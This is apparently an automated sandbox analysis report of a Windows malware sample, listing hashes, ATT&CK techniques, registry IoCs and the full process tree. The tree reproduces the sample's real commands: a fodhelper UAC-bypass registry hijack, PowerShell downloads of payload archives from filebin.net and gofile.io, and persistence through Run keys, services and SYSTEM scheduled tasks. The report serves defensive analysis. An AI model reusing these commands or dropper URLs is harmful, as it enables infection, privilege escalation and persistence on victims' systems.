c5cb6655cd4821473559626136408404641a5e06d41197cdd44a1537d2fcbf80

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 11:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
Size 389KB
Sample260415-m53arse161
SHA256 c5cb6655cd4821473559626136408404641a5e06d41197cdd44a1537d2fcbf80
MD5 741aa393fa6a1288007a850a3fba9182
SHA1 08ddf10c2038b031913d2db6e9960c70bda8e659
SHA512 abd469618056fbf338a4daed54e37f5d9b1906d7afd1cf53984a95b70a8cf10a032d895cbf0b50c0440e8fd3d45f2a369a88b8dc450e46db63f06aebcb1422d2
SSDEEP 6144:9wVkCxohzRNBa2ZVcb62R80GtlcQ+14q/cXGzo:9wmWUNDcb6htl24
TLSH
T19F84381EFAA554F1C0B7D039C942641AFD7278AA4370A7DB27994A871F237E0E93DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://filebin.net/archive/brzouvz279rrm92p/zip

Extracted

Language

Source

URLs

exe.dropper
https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	752	powershell.exe
19	4788	powershell.exe
21	4788	powershell.exe
35	3232	powershell.exe
36	3232	powershell.exe
38	3232	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3232	powershell.exe
4788	powershell.exe
752	powershell.exe
3540	powershell.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	wscript.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1676	icacls.exe
740	icacls.exe

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Persistence = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\persistence_master.vbs"	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\payload_loader.vbs"	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\payload_loader.vbs"	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Persistence = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\persistence_master.vbs"	wscript.exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4552	cmd.exe
1876	cmd.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4436	sc.exe
4344	sc.exe
624	sc.exe
1092	sc.exe
2344	sc.exe
696	sc.exe
1852	sc.exe
1104	sc.exe
1220	sc.exe
1600	sc.exe
4016	sc.exe
876	sc.exe
4592	sc.exe
2136	sc.exe
4344	sc.exe
204	sc.exe
1628	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
3772	timeout.exe
2280	timeout.exe
5036	timeout.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open\command\ = "cmd.exe /c whoami"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\ms-settings\shell	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3928	schtasks.exe
5020	schtasks.exe
3652	schtasks.exe
1644	schtasks.exe
3440	schtasks.exe
2636	schtasks.exe
4676	schtasks.exe
4632	schtasks.exe
4560	schtasks.exe
4508	schtasks.exe
1876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
752	powershell.exe
752	powershell.exe
3540	powershell.exe
3540	powershell.exe
4788	powershell.exe
4788	powershell.exe
3232	powershell.exe
3232	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	whoami.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	3540	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	3232	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 4476	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	84
PID 4476 wrote to memory of 4092	4476	cmd.exe	85
PID 3480 wrote to memory of 3632	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	86
PID 3632 wrote to memory of 4172	3632	cmd.exe	87
PID 3480 wrote to memory of 2620	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	88
PID 2620 wrote to memory of 4076	2620	cmd.exe	89
PID 4076 wrote to memory of 4904	4076	fodhelper.exe	90
PID 4904 wrote to memory of 2016	4904	cmd.exe	92
PID 3480 wrote to memory of 564	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	97
PID 564 wrote to memory of 3264	564	cmd.exe	98
PID 3480 wrote to memory of 1368	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	99
PID 1368 wrote to memory of 752	1368	cmd.exe	100
PID 3480 wrote to memory of 4888	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	101
PID 4888 wrote to memory of 3540	4888	cmd.exe	102
PID 3480 wrote to memory of 2020	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	103
PID 2020 wrote to memory of 1072	2020	cmd.exe	104
PID 3480 wrote to memory of 4296	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	105
PID 3480 wrote to memory of 1844	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	106
PID 1844 wrote to memory of 1340	1844	cmd.exe	107
PID 1340 wrote to memory of 2684	1340	cmd.exe	108
PID 2684 wrote to memory of 204	2684	wscript.exe	109
PID 2684 wrote to memory of 4560	2684	wscript.exe	111
PID 1340 wrote to memory of 3772	1340	cmd.exe	113
PID 2264 wrote to memory of 1628	2264	WScript.exe	116
PID 2264 wrote to memory of 4508	2264	WScript.exe	118
PID 3480 wrote to memory of 2384	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	121
PID 2384 wrote to memory of 824	2384	cmd.exe	122
PID 824 wrote to memory of 3512	824	cmd.exe	123
PID 3512 wrote to memory of 1644	3512	wscript.exe	124
PID 3512 wrote to memory of 4144	3512	wscript.exe	126
PID 824 wrote to memory of 2280	824	cmd.exe	129
PID 4772 wrote to memory of 1876	4772	WScript.exe	131
PID 4772 wrote to memory of 2472	4772	WScript.exe	133
PID 3480 wrote to memory of 4628	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	137
PID 4628 wrote to memory of 2856	4628	cmd.exe	138
PID 2856 wrote to memory of 3808	2856	cmd.exe	139
PID 2856 wrote to memory of 5036	2856	cmd.exe	140
PID 3480 wrote to memory of 4136	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	141
PID 4136 wrote to memory of 4788	4136	cmd.exe	142
PID 3480 wrote to memory of 1928	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	144
PID 1928 wrote to memory of 3232	1928	cmd.exe	145
PID 3480 wrote to memory of 220	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	146
PID 3480 wrote to memory of 1396	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	147
PID 3480 wrote to memory of 1712	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	148
PID 1712 wrote to memory of 3452	1712	cmd.exe	149
PID 3480 wrote to memory of 1208	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	150
PID 3480 wrote to memory of 436	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	151
PID 436 wrote to memory of 1676	436	cmd.exe	152
PID 3480 wrote to memory of 3756	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	153
PID 3756 wrote to memory of 740	3756	cmd.exe	154
PID 3480 wrote to memory of 3864	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	155
PID 3480 wrote to memory of 2796	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	156
PID 3480 wrote to memory of 4552	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	157
PID 4552 wrote to memory of 4204	4552	cmd.exe	158
PID 3480 wrote to memory of 3076	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	159
PID 3076 wrote to memory of 1124	3076	cmd.exe	160
PID 3480 wrote to memory of 4736	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	161
PID 4736 wrote to memory of 1220	4736	cmd.exe	162
PID 3480 wrote to memory of 1032	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	163
PID 1032 wrote to memory of 4436	1032	cmd.exe	164
PID 3480 wrote to memory of 3768	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	165
PID 3768 wrote to memory of 1600	3768	cmd.exe	166
PID 3480 wrote to memory of 1992	3480	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	167
PID 1992 wrote to memory of 2056	1992	cmd.exe	168

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 11 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4144	attrib.exe
2472	attrib.exe
2980	attrib.exe
1664	attrib.exe
3924	attrib.exe
4204	attrib.exe
452	attrib.exe
4196	attrib.exe
4492	attrib.exe
3804	attrib.exe
4960	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe"
1⤵
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "cmd.exe /c whoami" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "cmd.exe /c whoami" /f
    3⤵
    - Modifies registry class
    PID:4092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /d "" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /d "" /f
    3⤵
    - Modifies registry class
    PID:4172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4076
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c whoami
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4904
    - - C:\Windows\system32\whoami.exe
        
        whoami
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
    3⤵
    - Modifies registry class
    PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/archive/brzouvz279rrm92p/zip', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/archive/brzouvz279rrm92p/zip', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted' -Force; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted' -Force; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted" 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted"
    3⤵
    PID:1072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c 7z x "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -o"C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted" -y 2>&1
  2⤵
  PID:4296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_3480.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_3480.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1340
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\payload_loader.vbs"
      4⤵
      Checks computer location settings
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2684
    - - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" create SystemUpdateSvc binPath= wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs start= auto
        5⤵
        Launches sc.exe
        
        PID:204
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn SystemUpdate /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4560
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_3480.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_3480.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\persistence_master.vbs"
      4⤵
      Checks computer location settings
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn Persistence /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1644
    - - C:\Windows\System32\attrib.exe
        
        "C:\Windows\System32\attrib.exe" +h C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
        5⤵
        Views/modifies file attributes
        
        PID:4144
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_3480.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_3480.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\stealer_dropper.vbs"
      4⤵
      PID:3808
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { Invoke-WebRequest -Uri 'https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar' -OutFile 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { Invoke-WebRequest -Uri 'https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar' -OutFile 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\"Program Files"\WinRAR\WinRAR.exe x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" "C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\"Program Files (x86)"\WinRAR\WinRAR.exe x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" "C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\"
    3⤵
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c 7z x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -o"C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:1208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Everyone:(D) > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Everyone:(D)
    3⤵
    - Modifies file permissions
    PID:1676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Users:(D) > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Users:(D)
    3⤵
    - Modifies file permissions
    PID:740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.dll" "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.dll" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:3864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.bat" "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
